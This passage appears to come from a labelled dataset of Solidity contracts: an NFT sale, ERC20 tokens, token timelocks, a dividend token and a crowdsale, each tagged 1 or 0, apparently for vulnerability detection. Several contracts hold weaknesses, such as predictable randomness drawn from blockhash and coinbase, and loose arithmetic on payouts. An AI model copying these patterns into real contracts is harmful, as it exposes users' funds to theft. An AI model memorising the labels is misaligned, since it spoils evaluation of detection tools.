ownerToTulips; mapping (uint256 => address) public tulipToApproved; function _generateTulip(bytes32 _name, address _owner, uint16 _gen) internal returns (uint256 id) { id = tulips.length; uint256 createTime = block.timestamp; uint256 seed = uint(block.blockhash(block.number - 1)) + uint(block.blockhash(block.number - 100)) + uint(block.coinbase) + createTime + id; uint256 traits = uint256(keccak256(seed)); uint256 genes = traits / 0x10000 * 0x10000 + _gen; Tulip memory newTulip = Tulip(genes, createTime, _name); tulips.push(newTulip); tulipToOwner[id] = _owner; ownerToTulips[_owner].push(id); } function _transferTulip(address _from, address _to, uint256 _id) internal { tulipToOwner[_id] = _to; ownerToTulips[_to].push(_id); tulipToApproved[_id] = address(0); uint256[] storage fromTulips = ownerToTulips[_from]; for (uint256 i = 0; i < fromTulips.length; i++) { if (fromTulips[i] == _id) { break; } } assert(i < fromTulips.length); fromTulips[i] = fromTulips[fromTulips.length - 1]; delete fromTulips[fromTulips.length - 1]; fromTulips.length--; } } contract TulipToken is TulipBase, ERC721 { function implementsERC721() public pure returns (bool) { return true; } function totalSupply() public view returns (uint256) { return tulips.length; } function balanceOf(address _owner) public view returns (uint256 balance) { return ownerToTulips[_owner].length; } function ownerOf(uint256 _tokenId) public view returns (address owner) { owner = tulipToOwner[_tokenId]; require(owner != address(0)); } function transfer(address _to, uint256 _tokenId) public { require(_to != address(0)); require(tulipToOwner[_tokenId] == msg.sender); _transferTulip(msg.sender, _to, _tokenId); Transfer(msg.sender, _to, _tokenId); } function approve(address _to, uint256 _tokenId) public { require(tulipToOwner[_tokenId] == msg.sender); tulipToApproved[_tokenId] = _to; Approval(msg.sender, _to, _tokenId); } function transferFrom(address _from, address _to, uint256 _tokenId) public { require(_to != address(0)); require(tulipToApproved[_tokenId] == msg.sender); require(tulipToOwner[_tokenId] == _from); _transferTulip(_from, _to, _tokenId); Transfer(_from, _to, _tokenId); } function name() public pure returns (string) { return "Ether Tulips"; } function symbol() public pure returns (string) { return "ETHT"; } function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) { require(_index < ownerToTulips[_owner].length); return ownerToTulips[_owner][_index]; } } contract TulipSales is TulipToken { event Purchase(address indexed owner, uint256 unitPrice, uint32 amount); uint128 public increasePeriod = 6000; uint128 public startBlock; uint256[] public genToStartPrice; uint256[23] internal exp15; function TulipSales() public { startBlock = uint128(block.number); genToStartPrice.push(10 finney); _setExp15(); } function price(uint16 _gen) public view returns (uint256) { require(_gen < genToStartPrice.length); uint128 periodsElapsed = (uint128(block.number) - startBlock) / increasePeriod; return _priceAtPeriod(periodsElapsed, _gen); } function nextPrice(uint16 _gen) public view returns (uint256 futurePrice, uint128 blocksRemaining, uint128 changeBlock) { require(_gen < genToStartPrice.length); uint128 periodsElapsed = (uint128(block.number) - startBlock) / increasePeriod; futurePrice = _priceAtPeriod(periodsElapsed + 1, _gen); blocksRemaining = increasePeriod - (uint128(block.number) - startBlock) % increasePeriod; changeBlock = uint128(block.number) + blocksRemaining; } function buyTulip(bytes32 _name, uint16 _gen) public payable returns (uint256 id) { require(_gen < genToStartPrice.length); require(msg.value == price(_gen)); id = _generateTulip(_name, msg.sender, _gen); Transfer(address(0), msg.sender, id); Purchase(msg.sender, price(_gen), 1); } function buyTulips(uint32 _amount, uint16 _gen) public payable returns (uint256 firstId) { require(_gen < genToStartPrice.length); require(msg.value == price(_gen) * _amount); require(_amount <= 100); for (uint32 i = 0; i < _amount; i++) { uint256 id = _generateTulip("", msg.sender, _gen); Transfer(address(0), msg.sender, id); if (i == 0) { firstId = id; } } Purchase(msg.sender, price(_gen), _amount); } function renameTulip(uint256 _id, bytes32 _name) public { require(tulipToOwner[_id] == msg.sender); tulips[_id].name = _name; } function addGen(uint256 _startPrice) public onlyAdmins { require(genToStartPrice.length < 65535); genToStartPrice.push(_startPrice); } function withdrawBalance(uint256 _amount) external onlyAdmins { require(_amount <= this.balance); msg.sender.transfer(_amount); } function _priceAtPeriod(uint128 _period, uint16 _gen) internal view returns (uint256) { if (_period >= exp15.length) { return genToStartPrice[_gen] * 10000; } else { return genToStartPrice[_gen] * exp15[_period] / 1 ether; } } function _setExp15() internal { exp15 = [ 1000 finney, 1500 finney, 2250 finney, 3380 finney, 5060 finney, 7590 finney, 11400 finney, 17100 finney, 25600 finney, 38400 finney, 57700 finney, 86500 finney, 130 ether, 195 ether, 292 ether, 438 ether, 657 ether, 985 ether, 1480 ether, 2220 ether, 3330 ether, 4990 ether, 7480 ether ]; } } contract TulipCore is TulipSales { event ContractUpgrade(address newContract); event MaintenanceUpdate(bool maintenance); bool public underMaintenance = false; bool public deprecated = false; address public newContractAddress; function TulipCore() public { owner = msg.sender; } function getTulip(uint256 _id) public view returns ( uint256 genes, uint256 createTime, string name ) { Tulip storage tulip = tulips[_id]; genes = tulip.genes; createTime = tulip.createTime; bytes memory byteArray = new bytes(32); for (uint8 i = 0; i < 32; i++) { byteArray[i] = tulip.name[i]; } name = string(byteArray); } function myTulips() public view returns (uint256[]) { uint256[] memory tulipsMemory = ownerToTulips[msg.sender]; return tulipsMemory; } function myTulipsBatched(uint256 _startIndex, uint16 _maxAmount) public view returns ( uint256[] tulipIds, uint256 amountRemaining ) { uint256[] storage tulipArr = ownerToTulips[msg.sender]; int256 j = int256(tulipArr.length) - 1 - int256(_startIndex); uint256 amount = _maxAmount; if (j < 0) { return ( new uint256[](0), 0 ); } else if (j + 1 < _maxAmount) { amount = uint256(j + 1); } uint256[] memory resultIds = new uint256[](amount); for (uint16 i = 0; i < amount; i++) { resultIds[i] = tulipArr[uint256(j)]; j--; } return ( resultIds, uint256(j+1) ); } function setMaintenance(bool _underMaintenance) public onlyAdmins { underMaintenance = _underMaintenance; MaintenanceUpdate(underMaintenance); } function upgradeContract(address _newContractAddress) public onlyAdmins { newContractAddress = _newContractAddress; deprecated = true; ContractUpgrade(_newContractAddress); } }
1
pragma solidity ^0.4.24; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract CBOTCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "CBOT"; name = "CBOT Coin"; decimals = 8; _totalSupply = 100000000000000000000; balances[0x577c98de6713de92390646e9b0fcbbb4f8ce63a0] = _totalSupply; emit Transfer(address(0), 0x577c98de6713de92390646e9b0fcbbb4f8ce63a0, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 26956800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x59Fe5C2b175eB90dcF75e9f6892053E74C152e77; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29030400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xD40731229CfE1BA7Aa39Fb38C896DEC492f98b10 ; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.25; contract RTYCoin { modifier onlyBagholders { require(myTokens() > 0); _; } modifier onlyStronghands { require(myDividends(true) > 0); _; } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint256 tokens ); string public name = "RTYCoin"; string public symbol = "RTY"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 10; uint8 constant internal transferFee_ = 1; uint8 constant internal exitFee_ = 4; uint8 constant internal refferalFee_ = 33; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2 ** 64; uint256 public stakingRequirement = 50e18; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; function buy(address _referredBy) public payable returns (uint256) { purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } function reinvest() onlyStronghands public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0); emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders public { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); if (myDividends(true) > 0) { withdraw(); } uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); emit Transfer(_customerAddress, _toAddress, _taxedTokens); return true; } function totalEthereumBalance() public view returns (uint256) { return address(this).balance; } function totalSupply() public view returns (uint256) { return tokenSupply_; } function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } function buyPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) { address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); if ( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if (tokenSupply_ > 0) { tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / tokenSupply_); _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; mapping(address => bool) locks; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(!locks[msg.sender] && !locks[_to]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function setLock(address _toLock, bool _setTo) onlyOwner { locks[_toLock] = _setTo; } function lockOf(address _owner) public constant returns (bool lock) { return locks[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(!locks[_from] && !locks[_to]); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken { string public constant name = "CryptoTask"; string public constant symbol = "CTF"; uint8 public constant decimals = 18; event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(!locks[_to]); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract Crowdsale is Ownable { using SafeMath for uint; uint public fundingGoal = 1000 * 1 ether; uint public hardCap; uint public amountRaisedPreSale = 0; uint public amountRaisedICO = 0; uint public contractDeployedTime; uint presaleDuration = 30 * 1 days; uint countdownDuration = 45 * 1 days; uint icoDuration = 20 * 1 days; uint public presaleEndTime; uint public deadline; uint public price = (1 ether)/1000; MintableToken public token; mapping(address => uint) public balanceOf; bool public icoSuccess = false; bool public crowdsaleClosed = false; address vault1; address vault2 = 0xC0776D495f9Ed916C87c8C48f34f08E2B9506342; uint public stage = 0; uint public against = 0; uint public lastVoteTime; uint minVoteTime = 180 * 1 days; event GoalReached(uint amountRaised); event FundTransfer(address backer, uint amount, bool isContribution); function Crowdsale() { contractDeployedTime = now; vault1 = msg.sender; token = new MintableToken(); } function () payable { require(!token.lockOf(msg.sender) && !crowdsaleClosed && stage<2 && msg.value >= 1 * (1 ether)/10); if(stage==1 && (now < presaleEndTime.add(countdownDuration) || amountRaisedPreSale+amountRaisedICO+msg.value > hardCap)) { throw; } uint amount = msg.value; balanceOf[msg.sender] += amount; if(stage==0) { amountRaisedPreSale += amount; token.mint(msg.sender, amount.mul(2) / price); } else { amountRaisedICO += amount; token.mint(msg.sender, amount / price); } FundTransfer(msg.sender, amount, true); } function forward(uint amount) internal { vault1.transfer(amount.mul(67)/100); vault2.transfer(amount.sub(amount.mul(67)/100)); } modifier afterDeadline() { if (stage > 0 && now >= deadline) {_;} } function checkGoalReached() afterDeadline { require(stage==1 && !crowdsaleClosed); if (amountRaisedPreSale+amountRaisedICO >= fundingGoal) { uint amount = amountRaisedICO/3; if(!icoSuccess) { amount += amountRaisedPreSale/3; } uint amountToken1 = token.totalSupply().mul(67)/(100*4); uint amountToken2 = token.totalSupply().mul(33)/(100*4); forward(amount); icoSuccess = true; token.mint(vault1, amountToken1); token.mint(vault2, amountToken2); stage=2; lastVoteTime = now; GoalReached(amountRaisedPreSale+amountRaisedICO); } crowdsaleClosed = true; token.finishMinting(); } function closePresale() { require((msg.sender == owner || now.sub(contractDeployedTime) > presaleDuration) && stage==0); stage = 1; presaleEndTime = now; deadline = now.add(icoDuration.add(countdownDuration)); if(amountRaisedPreSale.mul(5) > 10000 * 1 ether) { hardCap = amountRaisedPreSale.mul(5); } else { hardCap = 10000 * 1 ether; } if(amountRaisedPreSale >= fundingGoal) { uint amount = amountRaisedPreSale/3; forward(amount); icoSuccess = true; GoalReached(amountRaisedPreSale); } } function safeWithdrawal() { require(crowdsaleClosed && !icoSuccess); uint amount; if(stage==1) { amount = balanceOf[msg.sender]; } else if(stage==2) { amount = balanceOf[msg.sender].mul(2)/3; } else if(stage==3) { amount = balanceOf[msg.sender]/3; } balanceOf[msg.sender] = 0; if (amount > 0) { msg.sender.transfer(amount); FundTransfer(msg.sender, amount, false); } } function voteAgainst() { require((stage==2 || stage==3) && !token.lockOf(msg.sender)); token.setLock(msg.sender, true); uint voteWeight = token.balanceOf(msg.sender); against = against.add(voteWeight); } function voteRelease() { require((stage==2 || stage==3 || stage==4) && token.lockOf(msg.sender)); token.setLock(msg.sender, false); uint voteWeight = token.balanceOf(msg.sender); against = against.sub(voteWeight); } function countVotes() { require(icoSuccess && (stage==2 || stage==3) && now.sub(lastVoteTime) > minVoteTime); lastVoteTime = now; if(against > token.totalSupply()/2) { icoSuccess = false; } else { uint amount = amountRaisedICO/3 + amountRaisedPreSale/3; forward(amount); stage++; } } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30240000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x39065eEf696DbC8a27aE1fa299340E7338257D60; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = 